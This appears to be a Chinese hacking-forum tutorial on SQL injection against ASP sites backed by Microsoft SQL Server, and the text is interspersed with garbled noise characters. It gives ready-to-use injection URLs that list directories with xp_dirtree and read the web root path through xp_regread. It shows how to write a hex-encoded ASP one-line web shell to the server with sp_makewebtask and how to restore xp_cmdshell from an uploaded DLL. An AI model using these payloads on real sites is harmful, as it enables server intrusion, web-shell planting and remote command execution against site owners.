好,我们exec master..xp_dirtree'd:/test'
' {! I1 \4 I! S; I2 X假设我们在test里有两个文件夹test1和test2在test1里又有test3: \, ?+ P: a% O" d2 z q3 z
结果显示
7 R$ t$ e# N4 M) T
3 j8 I; j* z6 a1 Q. Dsubdirectory depth
( b; P# O# Q6 s9 Ktest1 1- g; ]% f- y% [! P* c
test3 2
/ L" R4 f/ O- B# Ttest2 1
0 C f+ I a7 T$ g$ R$ u4 Y8 T/ `' @2 t b
哈哈发现没有那个depth就是目录的级数
* x8 P3 i/ `, I: m6 w* Dok了,知道怎么办了吧1 ], d5 n# c3 ^% Q& I- z/ N
/ W: ~! V' f4 z
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- * r8 | y' O9 v% }
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- $ @5 a- Z2 ~7 C+ a
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
0 Z: q3 j7 q& k" d+ ^% \" [0 ~; q1 t0 C* j: i! i8 K% C- F
只要加上id=1,就是第一级目录 。3 M M# Z: I$ v
0 r9 U2 M+ A1 Q
2 C( W3 R6 {0 N2 X% @通过注册表读网站路径:
% k0 k6 |* l T2 ]
5 e7 T i V5 X+ c, X1.;create table [dbo].[cyfd] ([gyfd][char](255));
( h$ E' t) A+ v! P8 B6 ^6 \' T8 Z* v' c. ~- M5 V& o. n6 F
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
: |& ~6 b1 P8 i+ O' S* W) eid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
" h; H) ?4 @& ~* R- W" X
. P3 h. N9 P3 [. s9 O5 S3.and 1=(select count(*) from 临时表 where 临时字段名>1)3 a6 i8 W) K! j5 e a( p
and 1=(select count(*) from cyfd where gyfd > 1) 6 k/ n9 W6 j2 {1 K4 P4 R" @7 _
这样IE报错,就把刚才插进去的Web路径的值报出来了
c. t5 v/ W/ V, L/ ?9 v; d; Y; X
7 R+ D. F4 A3 D% O9 M4.drop table cyfd;-- 删除临时表+ _/ g+ `" i; j7 A6 P/ t2 }2 ]
1 X, p' N, T" f0 z, O. I3 Y/ z获得webshell方法:" o: @' F* e. n' e; U, k; E5 Z6 O
1.create table cmd (a image)-- \**cmd是创建的临时表% ~& C0 @: _- l U6 Z- Q6 r: L
2 {; p4 m* i2 x5 ~" G8 g2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
5 M; w3 R6 g( B% ]/ H/ C& s4 W" Q
! Q/ O$ ]4 a5 H+ t8 x
. E: V2 [' ]: H8 G' v3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
* v) j8 ]) F0 Q* q" L! M, _5 ~EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'' i$ v3 [3 J. F: W" w& r* `! S; X3 L
0 e, b! ^2 q6 k, c7 n# h4.drop table cmd;-- 删除cmd临时表2 I- M5 k" x# {% N/ S5 a
3 t$ g* H' o% s3 ?& x2 t
恢复xp_cmdshell方法之一:9 |% W: |: F5 H
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:5 X) E& E7 n5 j4 e+ n/ ]9 l! k! |7 M
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
2 E7 ^3 e) N4 p% r3 F恢复,支持绝对路径的恢复哦。:)8 N% W3 |/ h( Z5 q* R
|